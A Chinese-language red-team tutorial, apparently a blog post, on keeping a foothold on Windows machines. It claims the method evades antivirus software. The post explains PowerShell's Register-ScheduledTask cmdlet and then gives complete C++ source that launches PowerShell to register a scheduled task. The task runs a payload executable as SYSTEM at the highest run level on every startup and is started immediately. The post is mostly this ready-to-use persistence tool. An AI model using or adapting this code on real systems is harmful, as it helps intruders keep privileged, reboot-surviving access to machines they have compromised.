红队权限维持策略——实用版(r3-r0)
0.前言:
本文旨在提供一种红队权限维持策略,其效果可以做到绕过杀毒软件(edr没试过)提升权限/维持权限,思路是powershell指令绕过添加任务启动,文章附带详细源码以及解释,禁止用于违法乱纪行为,法律责任与作者无关.
1.细说原理:
代码目标是通过PowerShell注册一个计划任务,并立即启动该任务。利用了Windows API来创建和管理进程。执行过程中的重要步骤是命令的构建、进程的创建和句柄的管理。
2.核心-Register-ScheduledTask
A.Register-ScheduledTask
Register-ScheduledTask是PowerShell 提供的一个 Cmdlet,用于注册一个新的计划任务或更新现有任务。它允许用户通过提供任务操作(Action)、触发器(Trigger)和其他选项来配置任务,广泛应用于自动化任务调度场景。
B.语法
Register-ScheduledTask
[-TaskName] <String>
[-Action] <ScheduledTaskAction[]>
[[-Trigger] <ScheduledTaskTrigger[]>]
[[-Description] <String>]
[-User <String>]
[-RunLevel <RunLevelType>]
[-Force]
[-CimSession <CimSession[]>]
[-AsJob]
[-TaskPath <String>]
[-InputObject <CimInstance>]
[<CommonParameters>]
C.主要参数及详细解释
(1)-TaskName
作用:指定任务的名称,必须唯一。
示例:
-TaskName "BackupTask"
(2)-Action
作用:定义计划任务执行时的操作,例如启动程序、脚本等。
值:通过New-ScheduledTaskAction命令创建的动作对象。
示例:
-Action (New-ScheduledTaskAction -Execute "C:\Path\MyScript.exe")
这将指定任务运行C:\Path\MyScript.exe
(3)-Trigger
作用:
定义任务的触发条件,例如在特定时间、启动时或用户登录时执行任务。
值:通过New-ScheduledTaskTrigger命令创建的触发器对象。
示例:
-Trigger (New-ScheduledTaskTrigger -AtStartup)
这将在系统启动时触发任务。
(4)-User
作用:
指定任务运行的用户账户。
特殊值:
"SYSTEM":表示任务将以系统账户权限运行,适用于无需交互的后台任务。
特定用户名:如"Administrator"
示例:
-User "SYSTEM"
(5)-RunLevel
作用:
设置任务的运行级别,决定任务的权限级别。
可选值:
Limited:普通用户权限。
Highest:管理员权限,适合需要高权限的任务。
示例:
-RunLevel Highest
(6)-Description
作用:
添加计划任务的描述,帮助用户理解任务用途。
示例:
-Description "This task runs a backup script at startup."
(7)-Force
作用:
强制覆盖已存在的同名任务。
(8)-TaskPath
作用:
指定任务存储的文件夹路径,便于分类管理任务。
示例:
-TaskPath "\CustomTasks\"
(9)-AsJob
作用:
在后台运行该命令为一个作业(Job),不阻塞当前会话。
(10)-CimSession
作用:
允许在远程计算机上执行该命令。
示例:
-CimSession $Session
示例 1:注册一个在系统启动时运行程序的任务
Register-ScheduledTask `
-TaskName "MyStartupTask" `
-Action (New-ScheduledTaskAction -Execute "C:\Scripts\StartApp.exe") `
-Trigger (New-ScheduledTaskTrigger -AtStartup) `
-User "SYSTEM" `
-RunLevel Highest `
-Force
任务名称:
MyStartupTask
任务操作:启动
C:\Scripts\StartApp.exe
触发器:在系统启动时运行
用户:SYSTEM(最高权限)
运行级别:Highest(管理员权限)
覆盖同名任务:-Force
示例 2:注册一个在每天早上 8 点运行脚本的任务
Register-ScheduledTask `
-TaskName "DailyBackup" `
-Action (New-ScheduledTaskAction -Execute "C:\Backup\backup.ps1" -Argument "-Full") `
-Trigger (New-ScheduledTaskTrigger -Daily -At 8am) `
-Description "Runs daily backup script at 8 AM" `
-User "Administrator" `
-RunLevel Highest `
-Force
任务名称:DailyBackup
任务操作:运行 PowerShell 脚本backup.ps1
,附加参数-Full触发器:每天早上 8 点执行
用户:Administrator
运行级别:Highest
描述:添加任务描述
3.拼接我们需要的ps脚本:
(C艹)
powershell.exe -Command "
Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\temp\1.exe')
-Trigger (New-ScheduledTaskTrigger -AtStartup)
-TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force;
Start-ScheduledTask -TaskName 'MyTask';
"
4.代码实现(C艹):
#include <iostream>
#include <windows.h>
#include <string>
引入必要的头文件。<iostream>用于输入输出操作,<windows.h>用于访问Windows API,<string>用于字符串处理。</string></iostream>
int main(){
程序的入口点函数
std::wstring command =
L"powershell.exe -Command \""
L"Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\\temp\\1.exe') "
L"-Trigger (New-ScheduledTaskTrigger -AtStartup) "
L"-TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force; "
L"Start-ScheduledTask -TaskName 'MyTask'; "
L"\""; // 立即运行
构造一个使用PowerShell命令的宽字符串(std::wstring)。
该命令的目的是注册一个计划任务(Scheduled Task),该任务会在系统启动时执行位于D:\temp\1.exe的程序。
-User 'SYSTEM'表示该任务将在系统用户上下文中运行。
-RunLevel Highest表示以最高权限运行任务。
-Force用于强制执行任务。
最后,Start-ScheduledTask -TaskName 'MyTask';会立即启动刚刚创建的任务。
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
初始化STARTUPINFO结构体和PROCESS_INFORMATION结构体。STARTUPINFO用于指定新进程的窗口的各种信息,而PROCESS_INFORMATION用于接收新创建进程的句柄和标识符。
// 创建 PowerShell 进程
if (CreateProcess(
NULL,
const_cast<wchar_t*>(command.c_str()),
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi)
) {
调用CreateProcess函数来创建一个新的PowerShell进程。参数含义如下:
第一个参数为NULL,表示使用默认的应用程序名称。
第二个参数为command.c_str(),传递构造好的PowerShell命令。
后面的参数设置为NULL或FALSE表示不需要特定的安全性和继承选择。
最后两个参数是指向STARTUPINFO和PROCESS_INFORMATION结构体的指针。
WaitForSingleObject(pi.hProcess, INFINITE);
调用WaitForSingleObject函数等待新创建的进程执行完成。INFINITE参数表示无限期等待,直到该进程终止。
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
关闭进程和线程句柄,以释放系统资源。
5.完整呈现:
#include <iostream>
#include <windows.h>
#include <string>
int main() {
std::wstring command =
L"powershell.exe -Command \""
L"Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\\temp\\1.exe') "
L"-Trigger (New-ScheduledTaskTrigger -AtStartup) "
L"-TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force; "
L"Start-ScheduledTask -TaskName 'MyTask'; "
L"\""; // 立即运行
// 准备启动 PowerShell 进程
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 创建 PowerShell 进程
if (CreateProcess(
NULL,
const_cast<wchar_t*>(command.c_str()),
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi)
) {
// 等待
WaitForSingleObject(pi.hProcess, INFINITE);
// 关闭进程和线程句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
std::wcout << L"任务已创建并开始执行。" << std::endl;
}
else {
std::wcerr << L"创建进程失败,错误代码: " << GetLastError() << std::endl;
}
// 防止程序执行完后立即关闭,等待用户按键
std::wcout << L"按任意键继续..." << std::endl;
std::wcin.get(); // 等待用户按下回车键
return 0;
}